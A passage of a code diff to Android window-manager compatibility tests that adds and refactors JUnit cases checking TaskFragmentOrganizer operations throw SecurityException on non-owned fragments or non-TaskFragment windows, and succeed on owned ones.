+        final IBinder errorCallbackToken = new Binder();
 
-            // It is expected to throw Security exception when TaskFragmentOrganizer performs a
-            // non-TaskFragment hierarchy operation.
-            final WindowContainerToken taskToken = taskInfos.get(0).getTaskInfo().getToken();
-            final WindowContainerTransaction wct = new WindowContainerTransaction()
-                    .reorder(taskToken, true /* opTop */);
-            mTaskFragmentOrganizer.applyTransaction(wct);
-        } finally {
-            if (mTaskOrganizer != null) {
-                NestedShellPermission.run(() -> mTaskOrganizer.unregisterOrganizer());
-            }
-        }
+        // Request to create another TaskFragment using the existing fragment token.
+        final TaskFragmentCreationParams params = mTaskFragmentOrganizer.generateTaskFragParams(
+                existingFragmentToken, getActivityToken(activity), new Rect(),
+                WINDOWING_MODE_UNDEFINED);
+        final WindowContainerTransaction wct = new WindowContainerTransaction()
+                .setErrorCallbackToken(errorCallbackToken)
+                .createTaskFragment(params);
+
+        mTaskFragmentOrganizer.applyTransaction(wct);
+        mTaskFragmentOrganizer.waitForTaskFragmentError();
+
+        assertThat(mTaskFragmentOrganizer.getThrowable()).isInstanceOf(
+                IllegalArgumentException.class);
+        assertThat(mTaskFragmentOrganizer.getErrorCallbackToken()).isEqualTo(errorCallbackToken);
     }
 
     /**
-     * Verifies whether changing property on non-TaskFragment window container without permission
-     * throws {@link SecurityException}.
+     * Verifies that performing {@link WindowContainerTransaction#deleteTaskFragment} on
+     * non-TaskFragment window will throw {@link SecurityException}.
      */
-    @Test(expected = SecurityException.class)
-    public void testSetPropertyOnNonTaskFragment_ThrowException() {
-        final List<TaskAppearedInfo> taskInfos = new ArrayList<>();
-        try {
-            // Register TaskOrganizer to obtain Task information.
-            NestedShellPermission.run(() -> {
-                mTaskOrganizer = new TaskOrganizer();
-                taskInfos.addAll(mTaskOrganizer.registerOrganizer());
-            });
+    @Test
+    @ApiTest(apis = {
+            "android.window.TaskFragmentOrganizer#applyTransaction",
+            "android.window.WindowContainerTransaction#deleteTaskFragment"})
+    public void testDeleteTaskFragment_nonTaskFragmentWindow_throwException() {
+        final WindowContainerToken taskToken = getFirstTaskToken();
+        final WindowContainerTransaction wct = new WindowContainerTransaction()
+                .deleteTaskFragment(taskToken);
 
-            // It is expected to throw SecurityException when TaskFragmentOrganizer attempts to
-            // change the property on non-TaskFragment container.
-            final WindowContainerToken taskToken = taskInfos.get(0).getTaskInfo().getToken();
-            final WindowContainerTransaction wct = new WindowContainerTransaction()
-                    .setBounds(taskToken, new Rect());
-            mTaskFragmentOrganizer.applyTransaction(wct);
-        } finally {
-            if (mTaskOrganizer != null) {
-                NestedShellPermission.run(() -> mTaskOrganizer.unregisterOrganizer());
-            }
-        }
+        assertThrows(SecurityException.class, () -> mTaskFragmentOrganizer.applyTransaction(wct));
     }
 
     /**
-     * Verifies whether performing TaskFragment
-     * {@link android.window.WindowContainerTransaction.HierarchyOp operations} on the TaskFragment
-     * which is not organized by given {@link TaskFragmentOrganizer} throws
+     * Verifies that performing {@link WindowContainerTransaction#deleteTaskFragment} on
+     * non-organized TaskFragment will throw {@link SecurityException}.
+     */
+    @Test
+    @ApiTest(apis = {
+            "android.window.TaskFragmentOrganizer#applyTransaction",
+            "android.window.WindowContainerTransaction#deleteTaskFragment"})
+    public void testDeleteTaskFragment_nonOrganizedTaskFragment_throwException() {
+        final Activity activity = startNewActivity();
+        final TaskFragmentInfo taskFragmentInfo = createOrganizedTaskFragment(
+                mTaskFragmentOrganizer, activity);
+        final WindowContainerToken taskFragmentToken = taskFragmentInfo.getToken();
+
+        // Create another TaskFragmentOrganizer to request operation.
+        final TaskFragmentOrganizer anotherOrganizer = registerNewOrganizer();
+        final WindowContainerTransaction wct = new WindowContainerTransaction()
+                .deleteTaskFragment(taskFragmentToken);
+
+        assertThrows(SecurityException.class, () -> anotherOrganizer.applyTransaction(wct));
+    }
+
+    /**
+     * Verifies that performing {@link WindowContainerTransaction#deleteTaskFragment} on organized
+     * TaskFragment is allowed.
+     */
+    @Test
+    @ApiTest(apis = {
+            "android.window.TaskFragmentOrganizer#applyTransaction",
+            "android.window.WindowContainerTransaction#deleteTaskFragment"})
+    public void testDeleteTaskFragment_organizedTaskFragment() {
+        final Activity activity = startNewActivity();
+        final TaskFragmentInfo taskFragmentInfo = createOrganizedTaskFragment(
+                mTaskFragmentOrganizer, activity);
+        final WindowContainerToken taskFragmentToken = taskFragmentInfo.getToken();
+
+        final WindowContainerTransaction wct = new WindowContainerTransaction()
+                .deleteTaskFragment(taskFragmentToken);
+
+        mTaskFragmentOrganizer.applyTransaction(wct);
+    }
+
+    /**
+     * Verifies that performing {@link WindowContainerTransaction#setAdjacentRoots} on
+     * non-TaskFragment window will throw {@link SecurityException}.
+     */
+    @Test
+    @ApiTest(apis = {
+            "android.window.TaskFragmentOrganizer#applyTransaction",
+            "android.window.WindowContainerTransaction#setAdjacentRoots"})
+    public void testSetAdjacentRoots_nonTaskFragmentWindow_throwException() {
+        // TODO(b/232476698) The TestApi is changed. Remove the assume in the next release.
+        assumeExtensionVersionAtLeast2();
+        final WindowContainerToken taskToken = getFirstTaskToken();
+        final WindowContainerTransaction wct = new WindowContainerTransaction()
+                .setAdjacentRoots(taskToken, taskToken);
+
+        assertThrows(SecurityException.class, () -> mTaskFragmentOrganizer.applyTransaction(wct));
+    }
+
+    /**
+     * Verifies that performing {@link WindowContainerTransaction#setAdjacentRoots} on
+     * non-organized TaskFragment will throw {@link SecurityException}.
+     */
+    @Test
+    @ApiTest(apis = {
+            "android.window.TaskFragmentOrganizer#applyTransaction",
+            "android.window.WindowContainerTransaction#setAdjacentRoots"})
+    public void testSetAdjacentRoots_nonOrganizedTaskFragment_throwException() {
+        // TODO(b/232476698) The TestApi is changed. Remove the assume in the next release.
+        assumeExtensionVersionAtLeast2();
+        final Activity activity = startNewActivity();
+        final TaskFragmentInfo taskFragmentInfo0 = createOrganizedTaskFragment(
+                mTaskFragmentOrganizer, activity);
+        final TaskFragmentInfo taskFragmentInfo1 = createOrganizedTaskFragment(
+                mTaskFragmentOrganizer, activity);
+        final WindowContainerToken taskFragmentToken0 = taskFragmentInfo0.getToken();
+        final WindowContainerToken taskFragmentToken1 = taskFragmentInfo1.getToken();
+
+        // Create another TaskFragmentOrganizer to request operation.
+        final TaskFragmentOrganizer anotherOrganizer = registerNewOrganizer();
+        final WindowContainerTransaction wct = new WindowContainerTransaction()
+                .setAdjacentRoots(taskFragmentToken0, taskFragmentToken1);
+
+        assertThrows(SecurityException.class, () -> anotherOrganizer.applyTransaction(wct));
+    }
+
+    /**
+     * Verifies that performing {@link WindowContainerTransaction#setAdjacentRoots} on organized
+     * TaskFragment is allowed.
+     */
+    @Test
+    @ApiTest(apis = {
+            "android.window.TaskFragmentOrganizer#applyTransaction",
+            "android.window.WindowContainerTransaction#setAdjacentRoots"})
+    public void testSetAdjacentRoots_organizedTaskFragment() {
+        // TODO(b/232476698) The TestApi is changed. Remove the assume in the next release.
+        assumeExtensionVersionAtLeast2();
+        final Activity activity = startNewActivity();
+        final TaskFragmentInfo taskFragmentInfo0 = createOrganizedTaskFragment(
+                mTaskFragmentOrganizer, activity);
+        final TaskFragmentInfo taskFragmentInfo1 = createOrganizedTaskFragment(
+                mTaskFragmentOrganizer, activity);
+        final WindowContainerToken taskFragmentToken0 = taskFragmentInfo0.getToken();
+        final WindowContainerToken taskFragmentToken1 = taskFragmentInfo1.getToken();
+
+        final WindowContainerTransaction wct = new WindowContainerTransaction()
+                .setAdjacentRoots(taskFragmentToken0, taskFragmentToken1);
+
+        mTaskFragmentOrganizer.applyTransaction(wct);
+    }
+
+    /**
+     * Verifies that performing {@link WindowContainerTransaction#reparentChildren} on
+     * non-TaskFragment window will throw {@link SecurityException}.
+     */
+    @Test
+    @ApiTest(apis = {
+            "android.window.TaskFragmentOrganizer#applyTransaction",
+            "android.window.WindowContainerTransaction#reparentChildren"})
+    public void testReparentChildren_nonTaskFragmentWindow_throwException() {
+        final WindowContainerToken taskToken = getFirstTaskToken();
+        final WindowContainerTransaction wct = new WindowContainerTransaction()
+                .reparentChildren(taskToken, null /* newParent */);
+
+        assertThrows(SecurityException.class, () -> mTaskFragmentOrganizer.applyTransaction(wct));
+    }
+
+    /**
+     * Verifies that performing {@link WindowContainerTransaction#reparentChildren} on
+     * non-organized TaskFragment will throw {@link SecurityException}.
+     */
+    @Test
+    @ApiTest(apis = {
+            "android.window.TaskFragmentOrganizer#applyTransaction",
+            "android.window.WindowContainerTransaction#reparentChildren"})
+    public void testReparentChildren_nonOrganizedTaskFragment_throwException() {
+        final Activity activity = startNewActivity();
+        final TaskFragmentInfo taskFragmentInfo = createOrganizedTaskFragment(
+                mTaskFragmentOrganizer, activity);
+        final WindowContainerToken taskFragmentToken = taskFragmentInfo.getToken();
+
+        // Create another TaskFragmentOrganizer to request operation.
+        final TaskFragmentOrganizer anotherOrganizer = registerNewOrganizer();
+        final WindowContainerTransaction wct = new WindowContainerTransaction()
+                .reparentChildren(taskFragmentToken, null /* newParent */);
+
+        assertThrows(SecurityException.class, () -> anotherOrganizer.applyTransaction(wct));
+    }
+
+    /**
+     * Verifies that performing {@link WindowContainerTransaction#reparentChildren} on organized
+     * TaskFragment is allowed.
+     */
+    @Test
+    @ApiTest(apis = {
+            "android.window.TaskFragmentOrganizer#applyTransaction",
+            "android.window.WindowContainerTransaction#reparentChildren"})
+    public void testReparent_organizedTaskFragment() {
+        final Activity activity = startNewActivity();
+        final TaskFragmentInfo taskFragmentInfo = createOrganizedTaskFragment(
+                mTaskFragmentOrganizer, activity);
+        final WindowContainerToken taskFragmentToken = taskFragmentInfo.getToken();
+
+        final WindowContainerTransaction wct = new WindowContainerTransaction()
+                .reparentChildren(taskFragmentToken, null /* newParent */);
+
+        mTaskFragmentOrganizer.applyTransaction(wct);
+    }
+
+    /**
+     * Verifies that performing {@link WindowContainerTransaction#startActivityInTaskFragment} on
+     * non-organized TaskFragment will throw {@link SecurityException}.
+     */
+    @Test
+    @ApiTest(apis = {
+            "android.window.TaskFragmentOrganizer#applyTransaction",
+            "android.window.WindowContainerTransaction#startActivityInTaskFragment"})
+    public void testStartActivityInTaskFragment_nonOrganizedTaskFragment_throwException() {
+        // TODO(b/232476698) The enforcement is new. Remove the assume in the next release.
+        assumeExtensionVersionAtLeast2();
+        final Activity activity = startNewActivity();
+        final TaskFragmentInfo taskFragmentInfo = createOrganizedTaskFragment(
+                mTaskFragmentOrganizer, activity);
+        final IBinder fragmentToken = taskFragmentInfo.getFragmentToken();
+        final IBinder callerToken = getActivityToken(activity);
+        final Intent intent = new Intent(mContext, TestActivity.class);
+
+        // Create another TaskFragmentOrganizer to request operation.
+        final TaskFragmentOrganizer anotherOrganizer = registerNewOrganizer();
+        final WindowContainerTransaction wct = new WindowContainerTransaction()
+                .startActivityInTaskFragment(fragmentToken, callerToken, intent,
+                        null /* activityOptions */);
+
+        assertThrows(SecurityException.class, () -> anotherOrganizer.applyTransaction(wct));
+    }
+
+    /**
+     * Verifies that performing {@link WindowContainerTransaction#startActivityInTaskFragment} on
+     * organized TaskFragment is allowed.
+     */
+    @Test
+    @ApiTest(apis = {
+            "android.window.TaskFragmentOrganizer#applyTransaction",
+            "android.window.WindowContainerTransaction#startActivityInTaskFragment"})
+    public void testStartActivityInTaskFragment_organizedTaskFragment() {
+        final Activity activity = startNewActivity();
+        final TaskFragmentInfo taskFragmentInfo = createOrganizedTaskFragment(
+                mTaskFragmentOrganizer, activity);
+        final IBinder fragmentToken = taskFragmentInfo.getFragmentToken();
+        final IBinder callerToken = getActivityToken(activity);
+        final Intent intent = new Intent(mContext, TestActivity.class);
+
+        final WindowContainerTransaction wct = new WindowContainerTransaction()
+                .startActivityInTaskFragment(fragmentToken, callerToken, intent,
+                        null /* activityOptions */);
+
+        mTaskFragmentOrganizer.applyTransaction(wct);
+    }
+
+    /**
+     * Verifies that performing {@link WindowContainerTransaction#requestFocusOnTaskFragment} on
+     * non-organized TaskFragment will throw {@link SecurityException}.
+     */
+    @Test
+    @ApiTest(apis = {
+            "android.window.TaskFragmentOrganizer#applyTransaction",
+            "android.window.WindowContainerTransaction#requestFocusOnTaskFragment"})
+    public void testRequestFocusOnTaskFragment_nonOrganizedTaskFragment_throwException() {
+        // TODO(b/232476698) The TestApi is new. Remove the assume in the next release.
+        assumeExtensionVersionAtLeast2();
+        final Activity activity = startNewActivity();
+        final TaskFragmentInfo taskFragmentInfo = createOrganizedTaskFragment(
+                mTaskFragmentOrganizer, activity);
+        final IBinder fragmentToken = taskFragmentInfo.getFragmentToken();
+
+        // Create another TaskFragmentOrganizer to request operation.
+        final TaskFragmentOrganizer anotherOrganizer = registerNewOrganizer();
+        final WindowContainerTransaction wct = new WindowContainerTransaction()
+                .requestFocusOnTaskFragment(fragmentToken);
+
+        assertThrows(SecurityException.class, () -> anotherOrganizer.applyTransaction(wct));
+    }
+
+    /**
+     * Verifies that performing {@link WindowContainerTransaction#requestFocusOnTaskFragment} on
+     * organized TaskFragment is allowed.
+     */
+    @Test
+    @ApiTest(apis = {
+            "android.window.TaskFragmentOrganizer#applyTransaction",
+            "android.window.WindowContainerTransaction#requestFocusOnTaskFragment"})
+    public void testRequestFocusOnTaskFragment_organizedTaskFragment() {
+        // TODO(b/232476698) The TestApi is new. Remove the assume in the next release.
+        assumeExtensionVersionAtLeast2();
+        final Activity activity = startNewActivity();
+        final TaskFragmentInfo taskFragmentInfo = createOrganizedTaskFragment(
+                mTaskFragmentOrganizer, activity);
+        final IBinder fragmentToken = taskFragmentInfo.getFragmentToken();
+
+        final WindowContainerTransaction wct = new WindowContainerTransaction()
+                .requestFocusOnTaskFragment(fragmentToken);
+
+        mTaskFragmentOrganizer.applyTransaction(wct);
+    }
+
+    /**
+     * Verifies that performing {@link WindowContainerTransaction#reparentActivityToTaskFragment} on
+     * non-organized TaskFragment will throw {@link SecurityException}.
+     */
+    @Test
+    @ApiTest(apis = {
+            "android.window.TaskFragmentOrganizer#applyTransaction",
+            "android.window.WindowContainerTransaction#reparentActivityToTaskFragment"})
+    public void testReparentActivityToTaskFragment_nonOrganizedTaskFragment_throwException() {
+        // TODO(b/232476698) The enforcement is new. Remove the assume in the next release.
+        assumeExtensionVersionAtLeast2();
+        final Activity activity = startNewActivity();
+        final TaskFragmentInfo taskFragmentInfo = createOrganizedTaskFragment(
+                mTaskFragmentOrganizer, activity);
+        final IBinder fragmentToken = taskFragmentInfo.getFragmentToken();
+        final IBinder activityToken = getActivityToken(activity);
+
+        // Create another TaskFragmentOrganizer to request operation.
+        final TaskFragmentOrganizer anotherOrganizer = registerNewOrganizer();
+        final WindowContainerTransaction wct = new WindowContainerTransaction()
+                .reparentActivityToTaskFragment(fragmentToken, activityToken);
+
+        assertThrows(SecurityException.class, () -> anotherOrganizer.applyTransaction(wct));
+    }
+
+    /**
+     * Verifies that performing {@link WindowContainerTransaction#reparentActivityToTaskFragment} on
+     * organized TaskFragment is allowed.
+     */
+    @Test
+    @ApiTest(apis = {
+            "android.window.TaskFragmentOrganizer#applyTransaction",
+            "android.window.WindowContainerTransaction#startActivityInTaskFragment"})
+    public void testReparentActivityToTaskFragment_organizedTaskFragment() {
+        final Activity activity = startNewActivity();
+        final TaskFragmentInfo taskFragmentInfo = createOrganizedTaskFragment(
+                mTaskFragmentOrganizer, activity);
+        final IBinder fragmentToken = taskFragmentInfo.getFragmentToken();
+        final IBinder activityToken = getActivityToken(activity);
+
+        final WindowContainerTransaction wct = new WindowContainerTransaction()
+                .reparentActivityToTaskFragment(fragmentToken, activityToken);
+
+        mTaskFragmentOrganizer.applyTransaction(wct);
+    }
+
+    /**
+     * Verifies that performing {@link WindowContainerTransaction#setAdjacentTaskFragments} on
+     * non-organized TaskFragment will throw {@link SecurityException}.
+     */
+    @Test
+    @ApiTest(apis = {
+            "android.window.TaskFragmentOrganizer#applyTransaction",
+            "android.window.WindowContainerTransaction#setAdjacentTaskFragments"})
+    public void testSetAdjacentTaskFragments_nonOrganizedTaskFragment_throwException() {
+        // TODO(b/232476698) The enforcement is new. Remove the assume in the next release.
+        assumeExtensionVersionAtLeast2();
+        final Activity activity = startNewActivity();
+        final TaskFragmentInfo taskFragmentInfo0 = createOrganizedTaskFragment(
+                mTaskFragmentOrganizer, activity);
+        final TaskFragmentInfo taskFragmentInfo1 = createOrganizedTaskFragment(
+                mTaskFragmentOrganizer, activity);
+        final IBinder fragmentToken0 = taskFragmentInfo0.getFragmentToken();
+        final IBinder fragmentToken1 = taskFragmentInfo1.getFragmentToken();
+
+        // Create another TaskFragmentOrganizer to request operation.
+        final TaskFragmentOrganizer anotherOrganizer = registerNewOrganizer();
+        final WindowContainerTransaction wct = new WindowContainerTransaction()
+                .setAdjacentTaskFragments(fragmentToken0, fragmentToken1, null /* params */);
+
+        assertThrows(SecurityException.class, () -> anotherOrganizer.applyTransaction(wct));
+    }
+
+    /**
+     * Verifies that performing {@link WindowContainerTransaction#setAdjacentTaskFragments} on
+     * organized TaskFragment is allowed.
+     */
+    @Test
+    @ApiTest(apis = {
+            "android.window.TaskFragmentOrganizer#applyTransaction",
+            "android.window.WindowContainerTransaction#setAdjacentTaskFragments"})
+    public void testSetAdjacentTaskFragments_organizedTaskFragment() {
+        final Activity activity = startNewActivity();
+        final TaskFragmentInfo taskFragmentInfo0 = createOrganizedTaskFragment(
+                mTaskFragmentOrganizer, activity);
+        final TaskFragmentInfo taskFragmentInfo1 = createOrganizedTaskFragment(
+                mTaskFragmentOrganizer, activity);
+        final IBinder fragmentToken0 = taskFragmentInfo0.getFragmentToken();
+        final IBinder fragmentToken1 = taskFragmentInfo1.getFragmentToken();
+
+        final WindowContainerTransaction wct = new WindowContainerTransaction()
+                .setAdjacentTaskFragments(fragmentToken0, fragmentToken1, null /* params */);
+
+        mTaskFragmentOrganizer.applyTransaction(wct);
+    }
+
+    /**
+     * Verifies that changing property on non-TaskFragment window will throw
      * {@link SecurityException}.
      */
-    @Test(expected = SecurityException.class)
-    public void testPerformOperationsOnNonOrganizedTaskFragment_ThrowException() {
+    @Test
+    @ApiTest(apis = {
+            "android.window.TaskFragmentOrganizer#applyTransaction",
+            "android.window.WindowContainerTransaction#setBounds"})
+    public void testSetProperty_nonTaskFragmentWindow_throwException() {
+        final WindowContainerToken taskToken = getFirstTaskToken();
+        final WindowContainerTransaction wct = new WindowContainerTransaction()
+                .setBounds(taskToken, new Rect());
+
+        assertThrows(SecurityException.class, () -> mTaskFragmentOrganizer.applyTransaction(wct));
+    }
+
+    /**
+     * Verifies that changing property on non-organized TaskFragment will throw
+     * {@link SecurityException}.
+     */
+    @Test
+    @ApiTest(apis = {
+            "android.window.TaskFragmentOrganizer#applyTransaction",
+            "android.window.WindowContainerTransaction#setBounds"})
+    public void testSetProperty_nonOrganizedTaskFragment_throwException() {
         final Activity activity = startNewActivity();
+        final TaskFragmentInfo taskFragmentInfo = createOrganizedTaskFragment(
+                mTaskFragmentOrganizer, activity);
+        final WindowContainerToken taskFragmentToken = taskFragmentInfo.getToken();
 
-        // Create a TaskFragment with a TaskFragmentOrganizer.
-        final TaskFragmentCreationParams params = mTaskFragmentOrganizer.generateTaskFragParams(
-                getActivityToken(activity));
-        final IBinder taskFragToken = params.getFragmentToken();
-        WindowContainerTransaction wct = new WindowContainerTransaction()
-                .createTaskFragment(params);
+        // Create another TaskFragmentOrganizer to request operation.
+        final TaskFragmentOrganizer anotherOrganizer = registerNewOrganizer();
+        final WindowContainerTransaction wct = new WindowContainerTransaction()
+                .setBounds(taskFragmentToken, new Rect());
+
+        assertThrows(SecurityException.class, () -> anotherOrganizer.applyTransaction(wct));
+    }
+
+    /**
+     * Verifies that changing property on organized TaskFragment is allowed.
+     */
+    @Test
+    @ApiTest(apis = {
+            "android.window.TaskFragmentOrganizer#applyTransaction",
+            "android.window.WindowContainerTransaction#setBounds"})
+    public void testSetProperty_organizedTaskFragment() {
+        final Activity activity = startNewActivity();
+        final TaskFragmentInfo taskFragmentInfo = createOrganizedTaskFragment(
+                mTaskFragmentOrganizer, activity);
+        final WindowContainerToken taskFragmentToken = taskFragmentInfo.getToken();
+
+        final WindowContainerTransaction wct = new WindowContainerTransaction()
+                .setBounds(taskFragmentToken, new Rect());
+
         mTaskFragmentOrganizer.applyTransaction(wct);
-        // Wait for TaskFragment's creation to obtain its WindowContainerToken.
-        mTaskFragmentOrganizer.waitForTaskFragmentCreated();
+    }
 
-        // Create another TaskFragmentOrganizer
-        final TaskFragmentOrganizer anotherOrganizer = new TaskFragmentOrganizer(Runnable::run);
-        anotherOrganizer.registerOrganizer();
-        // Try to perform an operation on the TaskFragment when is organized by the previous
-        // TaskFragmentOrganizer.
-        wct = new WindowContainerTransaction()
-                .deleteTaskFragment(mTaskFragmentOrganizer.getTaskFragmentInfo(taskFragToken)
-                        .getToken());
+    /**
+     * Verifies that performing {@link WindowContainerTransaction#reparent} from
+     * TaskFragmentOrganizer will throw {@link SecurityException}.
+     */
+    @Test
+    @ApiTest(apis = {
+            "android.window.TaskFragmentOrganizer#applyTransaction",
+            "android.window.WindowContainerTransaction#reparent"})
+    public void testDisallowOperation_reparent() {
+        final Activity activity = startNewActivity();
+        final TaskFragmentInfo taskFragmentInfo0 = createOrganizedTaskFragment(
+                mTaskFragmentOrganizer, activity);
+        final TaskFragmentInfo taskFragmentInfo1 = createOrganizedTaskFragment(
+                mTaskFragmentOrganizer, activity);
+        final WindowContainerToken taskFragmentToken0 = taskFragmentInfo0.getToken();
+        final WindowContainerToken taskFragmentToken1 = taskFragmentInfo1.getToken();
 
-        // It is expected to throw SecurityException when performing operations on the TaskFragment
-        // which is not organized by the same TaskFragmentOrganizer.
-        anotherOrganizer.applyTransaction(wct);
+        final WindowContainerTransaction wct = new WindowContainerTransaction()
+                .reparent(taskFragmentToken0, taskFragmentToken1, true /* onTop */);
+
+        assertThrows(SecurityException.class, () -> mTaskFragmentOrganizer.applyTransaction(wct));
+    }
+
+    /**
+     * Verifies that performing {@link WindowContainerTransaction#reorder} from
+     * TaskFragmentOrganizer will throw {@link SecurityException}.
+     */
+    @Test
+    @ApiTest(apis = {
+            "android.window.TaskFragmentOrganizer#applyTransaction",
+            "android.window.WindowContainerTransaction#reorder"})
+    public void testDisallowOperation_reorder() {
+        // TODO(b/232476698) The enforcement is new. Remove the assume in the next release.
+        assumeExtensionVersionAtLeast2();
+        final Activity activity = startNewActivity();
+        final TaskFragmentInfo taskFragmentInfo = createOrganizedTaskFragment(
+                mTaskFragmentOrganizer, activity);
+        final WindowContainerToken taskFragmentToken = taskFragmentInfo.getToken();
+
+        final WindowContainerTransaction wct = new WindowContainerTransaction()
+                .reorder(taskFragmentToken, true /* onTop */);
+
+        assertThrows(SecurityException.class, () -> mTaskFragmentOrganizer.applyTransaction(wct));
+    }
+
+    /**
+     * Verifies that performing {@link WindowContainerTransaction#setLaunchRoot} from
+     * TaskFragmentOrganizer will throw {@link SecurityException}.
+     */
+    @Test
+    @ApiTest(apis = {
+            "android.window.TaskFragmentOrganizer#applyTransaction",
+            "android.window.WindowContainerTransaction#setLaunchRoot"})
+    public void testDisallowOperation_setLaunchRoot() {
+        final Activity activity = startNewActivity();
+        final TaskFragmentInfo taskFragmentInfo = createOrganizedTaskFragment(
+                mTaskFragmentOrganizer, activity);
+        final WindowContainerToken taskFragmentToken = taskFragmentInfo.getToken();
+
+        final WindowContainerTransaction wct = new WindowContainerTransaction()
+                .setLaunchRoot(taskFragmentToken, null /* windowingModes */,
+                        null /* activityTypes */);
+
+        assertThrows(SecurityException.class, () -> mTaskFragmentOrganizer.applyTransaction(wct));
+    }
+
+    /**
+     * Verifies that performing {@link WindowContainerTransaction#setLaunchAdjacentFlagRoot} from
+     * TaskFragmentOrganizer will throw {@link SecurityException}.
+     */
+    @Test
+    @ApiTest(apis = {
+            "android.window.TaskFragmentOrganizer#applyTransaction",
+            "android.window.WindowContainerTransaction#setLaunchAdjacentFlagRoot"})
+    public void testDisallowOperation_setLaunchAdjacentFlagRoot() {
+        final Activity activity = startNewActivity();
+        final TaskFragmentInfo taskFragmentInfo = createOrganizedTaskFragment(
+                mTaskFragmentOrganizer, activity);
+        final WindowContainerToken taskFragmentToken = taskFragmentInfo.getToken();
+
+        final WindowContainerTransaction wct = new WindowContainerTransaction()
+                .setLaunchAdjacentFlagRoot(taskFragmentToken);
+
+        assertThrows(SecurityException.class, () -> mTaskFragmentOrganizer.applyTransaction(wct));
+    }
+
+    /**
+     * Verifies that performing {@link WindowContainerTransaction#clearLaunchAdjacentFlagRoot} from
+     * TaskFragmentOrganizer will throw {@link SecurityException}.
+     */
+    @Test
+    @ApiTest(apis = {
+            "android.window.TaskFragmentOrganizer#applyTransaction",
+            "android.window.WindowContainerTransaction#clearLaunchAdjacentFlagRoot"})
+    public void testDisallowOperation_clearLaunchAdjacentFlagRoot() {
+        final Activity activity = startNewActivity();
+        final TaskFragmentInfo taskFragmentInfo = createOrganizedTaskFragment(
+                mTaskFragmentOrganizer, activity);
+        final WindowContainerToken taskFragmentToken = taskFragmentInfo.getToken();
+
+        final WindowContainerTransaction wct = new WindowContainerTransaction()
+                .clearLaunchAdjacentFlagRoot(taskFragmentToken);
+
+        assertThrows(SecurityException.class, () -> mTaskFragmentOrganizer.applyTransaction(wct));
     }
 
     /**
@@ -349,15 +845,47 @@
             });
         }
     }
-
-    private static Activity startNewActivity() {
-        return startNewActivity(TestActivity.class);
+    /**
+     * Creates and registers a {@link TaskFragmentOrganizer} that will be unregistered in
+     * {@link #tearDown()}.
+     */
+    private BasicTaskFragmentOrganizer registerNewOrganizer() {
+        final BasicTaskFragmentOrganizer organizer = new BasicTaskFragmentOrganizer();
+        organizer.registerOrganizer();
+        mOrganizers.add(organizer);
+        return organizer;
     }
 
-    private static Activity startNewActivity(Class<?> className) {
-        final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
-        final Intent intent = new Intent(instrumentation.getTargetContext(), className)
-                .addFlags(FLAG_ACTIVITY_NEW_TASK);
-        return instrumentation.startActivitySync(intent);
+    /**
+     * Registers a {@link TaskOrganizer} to get the {@link WindowContainerToken} of a Task. The
+     * organizer will be unregistered in {@link #tearDown()}.
+     */
+    private WindowContainerToken getFirstTaskToken() {
+        final List<TaskAppearedInfo> taskInfos = new ArrayList<>();
+        // Register TaskOrganizer to obtain Task information.
+        NestedShellPermission.run(() -> {
+            mTaskOrganizer = new TaskOrganizer();
+            taskInfos.addAll(mTaskOrganizer.registerOrganizer());
+        });
+        return taskInfos.get(0).getTaskInfo().getToken();
+    }
+
+    /**
+     * Creates a TaskFragment organized by the given organizer. The TaskFragment will be removed
+     * when the organizer is unregistered.
+     */
+    private static TaskFragmentInfo createOrganizedTaskFragment(
+            BasicTaskFragmentOrganizer organizer, Activity ownerActivity) {
+        // Create a TaskFragment with a TaskFragmentOrganizer.
+        final TaskFragmentCreationParams params = organizer.generateTaskFragParams(
+                getActivityToken(ownerActivity));
+        final WindowContainerTransaction wct = new WindowContainerTransaction()
+                .createTaskFragment(params);
+        organizer.applyTransaction(wct);
+
+        // Wait for TaskFragment's creation to obtain its info.
+        organizer.waitForTaskFragmentCreated();
+        organizer.resetLatch();
+        return organizer.getTaskFragmentInfo(params.getFragmentToken());
     }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerTest.java b/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerTest.java
index 6e9d910..2963e8d 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerTest.java
@@ -19,11 +19,13 @@
 import static android.app.WindowConfiguration.WINDOWING_MODE_MULTI_WINDOW;
 import static android.server.wm.WindowManagerState.STATE_RESUMED;
 import static android.server.wm.WindowManagerState.STATE_STOPPED;
+import static android.view.Display.DEFAULT_DISPLAY;
 
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
 import static org.junit.Assert.assertThrows;
+import static org.junit.Assert.assertTrue;
 import static org.junit.Assume.assumeTrue;
 
 import android.app.Activity;
@@ -43,6 +45,8 @@
 import android.window.WindowContainerToken;
 import android.window.WindowContainerTransaction;
 
+import com.android.compatibility.common.util.ApiTest;
+
 import org.junit.Test;
 
 /**
@@ -198,6 +202,28 @@
     }
 
     /**
+     * Verifies the behavior of {@link WindowContainerTransaction#finishActivity(IBinder)} to finish
+     * an Activity.
+     */
+    @Test
+    @ApiTest(apis = {
+            "android.window.TaskFragmentOrganizer#applyTransaction",
+            "android.window.WindowContainerTransaction#finishActivity"})
+    public void testFinishActivity() {
+        // TODO(b/232476698) The TestApi is new. Remove the assume in the next release.
+        assumeExtensionVersionAtLeast2();
+
+        final Activity activity = startNewActivity();
+        final WindowContainerTransaction wct = new WindowContainerTransaction()
+                .finishActivity(getActivityToken(activity));
+        mTaskFragmentOrganizer.applyTransaction(wct);
+
+        mWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
+
+        assertTrue(activity.isDestroyed());
+    }
+
+    /**
      * Verifies the visibility of an activity behind a TaskFragment that has the same
      * bounds of the host Task.
      */
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerTestBase.java
index 1ec0a11..93b9aff 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerTestBase.java
@@ -17,14 +17,17 @@
 package android.server.wm;
 
 import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
